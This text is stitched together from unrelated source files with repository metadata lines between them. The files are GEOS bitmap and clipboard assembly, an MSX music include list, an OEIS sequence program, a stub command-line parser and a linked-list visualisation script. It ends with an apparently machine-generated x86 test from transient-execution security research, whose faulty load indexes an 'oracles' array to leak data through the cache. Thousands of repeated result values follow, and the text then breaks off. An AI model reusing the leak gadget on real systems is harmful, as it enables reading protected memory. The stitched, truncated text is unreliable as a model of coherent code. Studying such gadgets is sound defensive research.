Pass: *ds:si - VisBitmap ax,bx - left, upper coord of sub bitmap cx,dx - width, height of sub bitmap Return: bx - vm file handle of sub bitmap ax - vm block handle of sub bitmap di - gstate to bitmap Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 26, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BitmapGetBitmap proc near uses cx, dx, bp, di .enter if 0 ; ; There seems to be a problem with the graphics system drawing ; a bitmap to another bitmap at funky offsets, so for the time ; being, we'll allocate the full bitmap ; mov ax, MSG_VIS_BITMAP_GET_MAIN_BITMAP call ObjCallInstanceNoLock mov bx, cx mov ax, dx mov dx, bx if 0 ;fucked up ; ; If anyone ever decides to uncomment this part, please ; make sure to test the VBI_flags to make sure the bitmap ; really needs to be compacted; otherwise you'll screw up ; the icon editor. -stevey 4/14/95 ; call GrCompactBitmap mov_tr ax, cx else clr bp call VMCopyVMChain endif .leave ret else push ax, bx ;save coords ; ; Allocate our sub bitmap ; call ClipboardGetClipboardFile ;bx <- VM file call CreateBitmapCommon mov_tr bp, ax ;bp <- vm block handle ; ; Draw the real bitmap to the sub bitmap at the proper offset ; clr ax, dx call GrSetBitmapMode pop dx, cx ;coords push bx, bp ;save sub bitmap mov bx, cx clr ax, cx call GrUntransformWWFixed negwwf dxcx negwwf bxax call GrApplyTranslation clr cx, dx mov bp, di ;bp <- sub bitmap gstate mov ax, MSG_VIS_BITMAP_DRAW_BITMAP_TO_GSTATE call ObjCallInstanceNoLock push dx mov ax, mask BM_EDIT_MASK clr dx call GrSetBitmapMode test ax, mask BM_EDIT_MASK pop dx jz done mov al, MM_SET call GrSetMixMode mov ax, MSG_VIS_BITMAP_DRAW_BITMAP_TO_GSTATE call ObjCallInstanceNoLock done: call GrDestroyState ;kill the bitmap's gstate pop bx, ax ;bx <- vm file handle of sub bitmap ;ax <- vm block handle of sub bitmap .leave ret endif BitmapGetBitmap endp COMMENT @---------------------------------------------------------------------- FUNCTION: VisBitmapGenerateTransferItem DESCRIPTION: Generate a transfer item for the currently selected region CALLED BY: PASS: *ds:si - GrObjBody bx - vm file handle to store gstring cx, dx - origin of gstring to be created RETURN: carry set if successful ax - VM block of transfer item (in clipboard's VM file) DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/89 Initial version ------------------------------------------------------------------------------@ VisBitmapGenerateTransferItem proc near uses bx, cx, dx, si, di, bp, es class VisBitmapClass .enter mov bp, bx ;bp <- vm file handle mov ax, MSG_VIS_BITMAP_CREATE_GSTRING_TRANSFER_FORMAT call ObjCallInstanceNoLock ;cx <- vm block handle LONG jnc done push cx ;save width push dx ;save height push ax ;save block handle call VisBitmapCreateBitmapTransferFormatFromGString push cx ;save width push dx ;save height push ax ;save block handle push ds:[LMBH_handle] ;save object handle ; allocate block for transfer structure mov cx, size ClipboardItemHeader clr ax ;user ID? call VMAlloc mov dx, ax ;save block handle in dx call VMLock mov es, ax ;ds = transfer item ; set up header mov es:[CIH_sourceID].chunk, si ; chunk pop bx ;bx <- object handle mov es:[CIH_sourceID].handle, bx ; handle mov es:[CIH_owner].chunk, si mov es:[CIH_owner].handle, bx mov es:[CIH_formatCount], 2 mov es:[CIH_formats][0].CIFI_format.CIFID_manufacturer, \ MANUFACTURER_ID_GEOWORKS mov es:[CIH_formats][0].CIFI_format.CIFID_type, CIF_GRAPHICS_STRING mov es:[CIH_formats][(size ClipboardItemFormatInfo)].\ CIFI_format.CIFID_manufacturer, MANUFACTURER_ID_GEOWORKS mov es:[CIH_formats][(size ClipboardItemFormatInfo)].\ CIFI_format.CIFID_type, CIF_BITMAP pop es:[CIH_formats][(size ClipboardItemFormatInfo)].\ CIFI_vmChain.high mov es:[CIH_formats][(size ClipboardItemFormatInfo)].\ CIFI_vmChain.low, 0 pop es:[CIH_formats][(size ClipboardItemFormatInfo)].CIFI_extra2 pop es:[CIH_formats][(size ClipboardItemFormatInfo)].CIFI_extra1 pop es:[CIH_formats][0].CIFI_vmChain.high clr es:[CIH_formats][0].CIFI_vmChain.low pop es:[CIH_formats][0].CIFI_extra2 ;height pop es:[CIH_formats][0].CIFI_extra1 ;width ; copy name push bx, ds mov bx, handle BitmapUndoStrings call MemLock mov ds, ax assume ds:BitmapUndoStrings mov si, ds:[unnamedBitmapString] ;ds:si <- source string ChunkSizePtr ds, si, cx ;cx <- length of string mov di, offset CIH_name ;es:di <- dest rep movsb assume ds:nothing call MemUnlock pop bx, ds call VMUnlock mov_tr ax, dx ;ax <- block handle stc done: .leave ret VisBitmapGenerateTransferItem endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapSetTransferGString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Copy the passed gstring to be the VisBitmap's transfer gstring PASS: *ds:si = VisBitmapClass object ds:di = VisBitmapClass instance data ss:[bp] - VisBitmapSetTransferGStringParams RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: Invalidate the area if an old string exists. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 2/18/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapSetTransferGString method dynamic VisBitmapClass, MSG_VIS_BITMAP_SET_TRANSFER_GSTRING uses cx,dx passedParams local nptr.VisBitmapSetTransferGStringParams push bp transferGString local hptr gstringBounds local Rectangle .enter if 0 mov ax, MSG_VIS_BITMAP_FORCE_CURRENT_EDIT_TO_FINISH call ObjCallInstanceNoLock endif call WriteTransferGStringIfAny mov di, ds:[si] add di, ds:[di].VisBitmap_offset mov ax, ds:[LMBH_handle] movdw ds:[di].VBI_finishEditingOD, axsi mov ds:[di].VBI_finishEditingMsg, MSG_META_DUMMY ; Copy the new string ; call ClipboardGetClipboardFile ;bx <- VM file mov dx, bx push bp mov bp, ss:[passedParams] mov bx, ss:[bp].VBSTGSP_vmFile ; passed vm file handle mov ax, ss:[bp].VBSTGSP_vmBlock ; passed vm block handle clr bp call VMCopyVMChain pop bp mov cl, GST_VMEM mov bx, dx push si ;save object xchg si, ax ;ax <- VisBitmap chunk, ;si <- gstring chunk call GrLoadGString ;si <- transfer gstring mov_tr bx, ax ;*ds:bx <- VisBitmap mov bx, ds:[bx] add bx, ds:[bx].VisBitmap_offset mov ds:[bx].VBI_transferGString, si ;save transfer gstring mov ss:[transferGString], si clr dx, di call GrGetGStringBounds pop si ;*ds:si <- VisBitmap mov ss:[gstringBounds].R_left, ax mov ss:[gstringBounds].R_top, bx mov ss:[gstringBounds].R_right, cx mov ss:[gstringBounds].R_bottom, dx ; ; If the gstring is supposed to end up centered, calculate the ; center right here ; ; the net result is that we want the bitmap's center - gstring center ; push bp mov bp, ss:[passedParams] cmp ss:[bp].VBSTGSP_location.P_x, CENTER_SELECTION jne afterCenter push ax, cx, dx mov ax, MSG_VIS_BITMAP_GET_BITMAP_SIZE_IN_PIXELS call ObjCallInstanceNoLock shr cx shr dx mov ss:[bp].VBSTGSP_location.P_x, cx mov ss:[bp].VBSTGSP_location.P_y, dx pop ax, cx, dx push cx, dx add cx, ax add dx, bx sar cx sar dx sub ss:[bp].VBSTGSP_location.P_x, cx sub ss:[bp].VBSTGSP_location.P_y, dx pop cx, dx afterCenter: pop bp ; ; ; Create a bitmap that's the height and width of the passed gstring ; sub cx, ax sub dx, bx ; ; Calculate the upper left of the transfer bitmap ; xchg ax, cx xchg bx, dx call VisBitmapConvertVisPointToBitmapPoint xchg ax, cx xchg bx, dx push bp mov bp, ss:[passedParams] mov di, ds:[si] add di, ds:[di].VisBitmap_offset add ax, ss:[bp].VBSTGSP_location.P_x mov ds:[di].VBI_transferBitmapPos.P_x, ax add bx, ss:[bp].VBSTGSP_location.P_y mov ds:[di].VBI_transferBitmapPos.P_y, bx push ax movdw ds:[di].VBI_transferGStringPos, ss:[bp].VBSTGSP_location, ax pop ax ; ; Save this piece of the bitmap before writing over it so ; we can restore it later if you user doesn't like it ; inc cx inc dx ;what the hell call BitmapGetBitmap pop bp push ax ;save vm block ; ; OK: a quick hack to keep things in line: we're going to ; clear out the transfer gstring here, 'cause we don't want ; it written yet ; clr ax mov di, ds:[si] add di, ds:[di].VisBitmap_offset xchg ax, ds:[di].VBI_transferGString push ax ;save transfer gstring segmov es, SEGMENT_CS, di ; es <- vseg if XIP'ed mov di, offset WriteTransferGStringCB mov ax, INVALIDATE_ENTIRE_FATBITS_WINDOW mov bx, ss:[transferGString] push bp mov bp, ss:[passedParams] mov cx, ss:[bp].VBSTGSP_location.P_x mov dx, ss:[bp].VBSTGSP_location.P_y mov bp, offset undoTransferString call VisBitmapEditSelf if 0 mov ax, MSG_VIS_INVALIDATE call ObjCallInstanceNoLock endif mov ax, MSG_VIS_BITMAP_SPAWN_SELECTION_ANTS call ObjCallInstanceNoLock mov ax, MSG_VIS_BITMAP_NOTIFY_SELECT_STATE_CHANGE call ObjCallInstanceNoLock mov di, ds:[si] add di, ds:[di].VisBitmap_offset pop bp ;ss:bp <- locals pop ds:[di].VBI_transferGString pop ds:[di].VBI_transferBitmap ;vm block handle .leave ret if 0 fakePath: ; ; We're given a gstring with no path, so we'll have to ; make one ourselves so that the marching ants so up ; mov cx, PCT_REPLACE call GrBeginPath mov cx, ss:[gstringBounds].R_right sub cx, ss:[gstringBounds].R_left mov dx, ss:[gstringBounds].R_bottom sub dx, ss:[gstringBounds].R_top clr ax, bx call GrDrawRect call GrEndPath jmp copyPath endif VisBitmapSetTransferGString endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% WriteTransferGStringCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Pass: *ds:si - VisBitmap di - destination gstate bx - source gstate cx, dx - offset at which to draw the gstring Return: nothing Destroyed: This is a VisBitmapEditBitmap callback routine, which can trash anything it damn well pleases. Comments: Revision History: Name Date Description ---- ------------ ----------- jon Aug 24, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ WriteTransferGStringCB proc far .enter tst bx jz done ; ; Kill the current path ; push cx mov cx, PCT_NULL call GrBeginPath pop cx call GrSaveTransform call VisBitmapScaleGStateByResolution mov si, bx ;si <- gstring call GrGetBitmapMode jc notMask test ax, mask BM_EDIT_MASK jz notMask ; ; We are drawing to a mask, so use our special routine ; clr ax, bx call BitmapDrawGStringToMask jmp afterDraw notMask: mov al, GSSPT_BEGINNING call GrSetGStringPos clr ax, bx, dx call GrDrawGString afterDraw: mov ax, GPT_CURRENT call GrTestPath jc fakePath restoreTransform: call GrRestoreTransform done: .leave ret fakePath: push di clr di, dx call GrGetGStringBounds pop di jc restoreTransform push cx mov cx, PCT_REPLACE call GrBeginPath pop cx inc cx inc dx call GrDrawRect call GrEndPath jmp restoreTransform WriteTransferGStringCB endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapScaleGStateByResolution %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Pass: *ds:si - VisBitmap di - gstate cx, dx - amount to translate before scaling Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Mar 14, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapScaleGStateByResolution proc far class VisBitmapClass uses ax, bx, cx, dx, bp .enter ; ; Translate to passed location ; mov bx, dx mov dx, cx clr ax, cx call GrApplyTranslation mov bp, ds:[si] add bp, ds:[bp].VisBitmap_offset mov dx, ds:[bp].VBI_yResolution mov bx, 72 clr ax, cx call GrUDivWWFixed pushwwf dxcx mov dx, ds:[bp].VBI_xResolution clr cx call GrUDivWWFixed popwwf bxax call GrApplyScale .leave ret VisBitmapScaleGStateByResolution endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapScaleGStateByInverseResolution %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Pass: *ds:si - VisBitmap di - gstate cx, dx - amount to translate before scaling Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Mar 14, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapScaleGStateByInverseResolution proc far class VisBitmapClass uses ax, bx, cx, dx, bp .enter ; ; Translate to passed location ; mov bx, dx mov dx, cx clr ax, cx call GrApplyTranslation mov bp, ds:[si] add bp, ds:[bp].VisBitmap_offset mov bx, ds:[bp].VBI_yResolution mov dx, 72 clr ax, cx call GrUDivWWFixed pushwwf dxcx mov bx, ds:[bp].VBI_xResolution mov dx, 72 clr ax, cx call GrUDivWWFixed popwwf bxax call GrApplyScale .leave ret VisBitmapScaleGStateByInverseResolution endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapEditSelf %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: VisBitmap sets up a MSG_VIS_BITMAP_EDIT_BITMAP to itself Pass: *ds:si - VisBitmap object es:di - vfptr to callback graphics routine * ToolEditBitmap will not work for graphics routines that depend upon ds, es, di, or si as parameters! ax,bx,cx,dx - params to callback routine bp - chunk handle of undo string within BitmapUndoStrings Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jul 27, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapEditSelf proc far class VisBitmapClass uses ax, cx, bp .enter CheckHack <size VisBitmapEditBitmapParams eq (size word * 14)> pushdw esdi ;mask callback pushdw esdi ;normal callback mov di, C_BLACK push di ; ; Assume inval rect is ax,bx,cx,dx ; push dx push cx push bx push ax ; ; Save params push dx push cx push bx push ax ; ; Tell the VisBitmap that we're going to make an edit ; mov ax, handle BitmapUndoStrings pushdw axbp mov bp, MSG_VIS_BITMAP_NOTIFY_CURRENT_EDIT_FINISHED push bp push ds:[LMBH_handle], si mov bp, sp mov ax, MSG_VIS_BITMAP_GET_EDITING_GSTATES call ObjCallInstanceNoLock add sp, size VisBitmapGetEditingGStatesParams push cx ;save edit ID mov bp, sp mov ax, MSG_VIS_BITMAP_EDIT_BITMAP call ObjCallInstanceNoLock add sp, size VisBitmapEditBitmapParams if 1 mov ax, MSG_VIS_BITMAP_NOTIFY_CURRENT_EDIT_FINISHED call ObjCallInstanceNoLock endif .leave ret VisBitmapEditSelf endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisBitmapEditSelfInvalAll %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Just like VisBitmapEditSelf, except it invalidates the entire fatbits window, for use when ax,bx,cx,dx aren't the inval rect. Pass: *ds:si - VisBitmap object es:di - vfptr to callback graphics routine * ToolEditBitmap will not work for graphics routines that depend upon ds, es, di, or si as parameters! ax,bx,cx,dx - params to callback routine bp - chunk handle of undo string within BitmapUndoStrings Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jul 27, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisBitmapEditSelfInvalAll proc far class VisBitmapClass uses ax, cx, bp .enter CheckHack <size VisBitmapEditBitmapParams eq (size word * 14)> pushdw esdi ;mask callback pushdw esdi ;normal callback mov di, C_BLACK push di ; ; Assume inval rect is ax,bx,cx,dx ; mov di, INVALIDATE_ENTIRE_FATBITS_WINDOW push di push di push di push di ; ; Save params push dx push cx push bx push ax ; ; Tell the VisBitmap that we're going to make an edit ; mov ax, handle BitmapUndoStrings pushdw axbp mov bp, MSG_VIS_BITMAP_NOTIFY_CURRENT_EDIT_FINISHED push bp push ds:[LMBH_handle], si mov bp, sp mov ax, MSG_VIS_BITMAP_GET_EDITING_GSTATES call ObjCallInstanceNoLock add sp, size VisBitmapGetEditingGStatesParams push cx ;save edit ID mov bp, sp mov ax, MSG_VIS_BITMAP_EDIT_BITMAP call ObjCallInstanceNoLock add sp, size VisBitmapEditBitmapParams if 1 mov ax, MSG_VIS_BITMAP_NOTIFY_CURRENT_EDIT_FINISHED call ObjCallInstanceNoLock endif .leave ret VisBitmapEditSelfInvalAll endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CopyPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Pass: di - destination gstate bx - source gstate cx, dx - offset at which to copy the path Return: nothing Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Aug 24, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CopyPath proc far uses ax, bx, cx, dx, di, si .enter mov_tr ax, di ;ax <- dest gstate mov di, bx ;di <- source gstate mov bx, GPT_CURRENT ; get current path call GrGetPath jc done mov_tr di, ax ;di <- dest gstate push bx call MemLock mov_tr bx, ax mov_tr ax, cx ;ax <- left mov cl, GST_PTR clr si call GrLoadGString mov bx, dx ;bx <- top clr dx call GrDrawGString clr di mov dl, GSKT_LEAVE_DATA call GrDestroyGString pop bx call MemFree done: .leave ret CopyPath endp BitmapSelectionCode ends
21.363719
80
0.619229
0e6587cdddb121562a8e6aac43bbbbf3f420e5ce
674
asm
Assembly
src/music_sfx.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
43
2017-10-21T23:01:25.000Z
2022-02-21T17:45:11.000Z
src/music_sfx.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
null
null
null
src/music_sfx.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
6
2017-10-23T05:48:50.000Z
2022-01-06T03:11:49.000Z
org $8000 SFX_ADDR: INCBIN "iannafx.pck" music0: INCBIN "music-nomusic.pck" music1: INCBIN "music-level1.pck" ; level 1 music3: INCBIN "music-level3.pck" ; level 3 music4: INCBIN "music-level4.pck" ; level 4 (final) music5: INCBIN "music-level5.pck" ; level 5 (final) music6: INCBIN "music-level6.pck" ; level 6 (final) music7: INCBIN "music-level7.pck" ; level 7 (done) music8: INCBIN "music-level8.pck" ; level 8 (done) music_gameover: INCBIN "music-gameover.pck" ; game over music_intro: INCBIN "music-intro.pck" ; intro music_menu: INCBIN "music-menu.pck" ; menu music_end: INCBIN "music-end.pck" ; end music_credits: INCBIN "music-credits.pck" ; credits
21.741935
44
0.721068
b5ca01a4daf2ca5181c7950a8f134fde5ab2b1a8
1,948
asm
Assembly
programs/oeis/140/A140325.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/140/A140325.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/140/A140325.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A140325: a(n) = binomial(n+8,8) * 2^n. ; 1,18,180,1320,7920,41184,192192,823680,3294720,12446720,44808192,154791936,515973120,1666990080,5239111680,16066609152,48199827456,141764198400,409541017600,1163958681600,3259084308480,9001280471040,24548946739200,66175421644800,176467791052800,465874968379392,1218442224992256,3158924287016960,8122948166615040,20727522907914240,52509724700049408,132121242793672704,330303106984181760,820753174930391040,2027743138063319040,4982454567812726784,12179333387986665472,29625405538345943040,71724666040205967360,172874836096906690560,414899606632576057344,991711254877864722432,2361217273518725529600,5601027020904883814400,13238791140320634470400,31184708019421938974720,73216271002121074114560,171357230004964216012800,399833536678249837363200,930224962884091458355200,2158121913891092183384064,4993301683120566228221952,11523003884124383603589120,26524650450248581125242880,60908456589459704806113280,139535736914034960101277696,318938827232079908802920448,727404342810006809550520320,1655471952602084463114977280,3759885451672530814532321280,8522407023791069846273261568,19280199496445371127634591744,43535934346812128352723271680,98128613924560670255344517120,220789381330261508074525163520,495926918064895079675087290368,1112078543539461693816862408704,2489728082551033642873572556800,5565274537467016378187985715200,12421047518404645249868837683200,27681191612444637985421981122560,61600398236144405657699619962880,136889773858098679239332488806400,303782785822082000503724153241600,673248336146235784900145420697600,1490122984003668537245655197810688,3293956069902846240227237805686784,7272370543941348842060135415152640,16036509404588615395312093479567360,35320919448081254161826636271452160,77706022785778759156018599797194752,170761383405785421355201367455563776,374842061134650924926051782219530240,821942832849475522127005112818728960 mov $1,-2 pow $1,$0 mov $2,-9 bin $2,$0 mul $1,$2 mov $0,$1
194.8
1,845
0.930185
7441866a2202775b71ac707e8c889bf004a75d48
1,236
asm
Assembly
util/gut/cli.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
util/gut/cli.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
util/gut/cli.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; Command line interpreter V2.00  1989 Tony Tebby section gen_util xdef gu_cli xref cv_locas include 'dev8_keys_err' ;+++ ; Command line interpreter. ; ; This routine interpret the parameters of a 'command line'. The line is ; passed as a standard string, and is processed with the aid of a table of ; definitions: ; ; character ' ' string is optional ; '+' string is required ; ; character ' ' position dependent parameter ; other keyed parameter ; ; word pointer to flag set if parameter found (rel a5) ; word pointer to buffer for parameter string (rel a5) ; word max length of parameter string ; ; The table is terminated with a zero word. ; ; Registers: ; Entry Exit ; D0 0 or error code ; A1 pointer to command line ; A2 pointer to definitions ; A5 pointer to results area ;--- gu_cli gcl.reg reg d1/d2/a0/a1/a2 movem.l gcl.reg,-(sp) moveq #0,d0 ; set error code movem.l (sp)+,gcl.reg rts end
26.869565
74
0.533981
223b89d81a258d8690e70b4249736f92d0ad31a1
887
asm
Assembly
programs/oeis/101/A101037.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/101/A101037.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/101/A101037.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A101037: Triangle read by rows: T(n,1) = T(n,n) = n and for 1<k<n: T(n,k) = floor((T(n-1,k-1)+T(n-1,k))/2). ; 1,2,2,3,2,3,4,2,2,4,5,3,2,3,5,6,4,2,2,4,6,7,5,3,2,3,5,7,8,6,4,2,2,4,6,8,9,7,5,3,2,3,5,7,9,10,8,6,4,2,2,4,6,8,10,11,9,7,5,3,2,3,5,7,9,11,12,10,8,6,4,2,2,4,6,8,10,12,13,11,9,7,5,3,2,3,5,7,9,11,13,14,12,10,8,6,4,2,2,4,6,8,10,12,14,15,13,11,9,7,5,3,2,3,5,7,9,11,13,15,16,14,12,10,8,6,4,2,2,4,6,8,10,12,14,16,17,15,13,11,9,7,5,3,2,3,5,7,9,11,13,15,17,18,16,14,12,10,8,6,4,2,2,4,6,8,10,12,14,16,18,19,17,15,13,11,9,7,5,3,2,3,5,7,9,11,13,15,17,19,20,18,16,14,12,10,8,6,4,2,2,4,6,8,10,12,14,16,18,20,21,19,17,15,13,11,9,7,5,3,2,3,5,7,9,11,13,15,17,19,21,22,20,18,16,14,12,10,8,6,4,2,2,4,6,8,10,12,14,16 lpb $0 mov $3,$0 cal $3,49581 ; Table T(n,k) = |n-k| read by antidiagonals (n >= 0, k >= 0). add $2,$3 mov $4,$2 cmp $4,0 add $2,$4 mov $0,$2 lpe mov $1,$0 add $1,1
59.133333
596
0.555806
9a0deb79ecd7b9df789d754108db913fb85d1f53
302
asm
Assembly
ADL/Assemble/Delete/1/RH~R_delete_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
3
2021-11-06T03:47:08.000Z
2021-11-06T03:47:11.000Z
ADL/Assemble/Delete/1/RH~R_delete_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
null
null
null
ADL/Assemble/Delete/1/RH~R_delete_head.asm
MaxMorning/LinkedListVisualization
b2a4f8f11ff6f6dfb495566a006e3472f1dac369
[ "Apache-2.0" ]
1
2021-11-06T03:47:14.000Z
2021-11-06T03:47:14.000Z
aLine 0 gNew delPtr gMoveNext delPtr, Root aLine 1 gBne delPtr, Root, 3 aLine 2 Exception EMPTY_LIST aLine 4 nMoveRelOut delPtr, delPtr, 100 gNewVPtr delNext gMoveNext delNext, delPtr pSetNext Root, delNext aLine 5 pDeleteNext delPtr nDelete delPtr gDelete delPtr gDelete delNext aLine 6 aStd Halt
12.08
31
0.81457
0ac204296e3fffb4d49e9e8c9534b246a2da2e4d
4,716
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_870.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_870.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48_notsx.log_21829_870.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %rax push %rsi lea addresses_normal_ht+0x910f, %rax nop nop nop nop cmp %r12, %r12 mov $0x6162636465666768, %rsi movq %rsi, (%rax) nop nop nop and %r13, %r13 lea addresses_WT_ht+0x14a0f, %r11 nop nop nop nop and $52541, %rax vmovups (%r11), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r14 nop nop nop nop and %r12, %r12 pop %rsi pop %rax pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %r9 push %rcx push %rdi push %rdx // Store lea addresses_normal+0x1be0f, %rcx clflush (%rcx) nop xor $57755, %r8 mov $0x5152535455565758, %r9 movq %r9, (%rcx) // Exception!!! mov (0), %rcx nop nop nop nop nop xor %r9, %r9 // Faulty Load lea addresses_normal+0x1be0f, %rdx nop nop inc %r12 mov (%rdx), %r13d lea oracles, %rcx and $0xff, %r13 shlq $12, %r13 mov (%rcx,%r13,1), %r13 pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 0}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 8}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 10}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 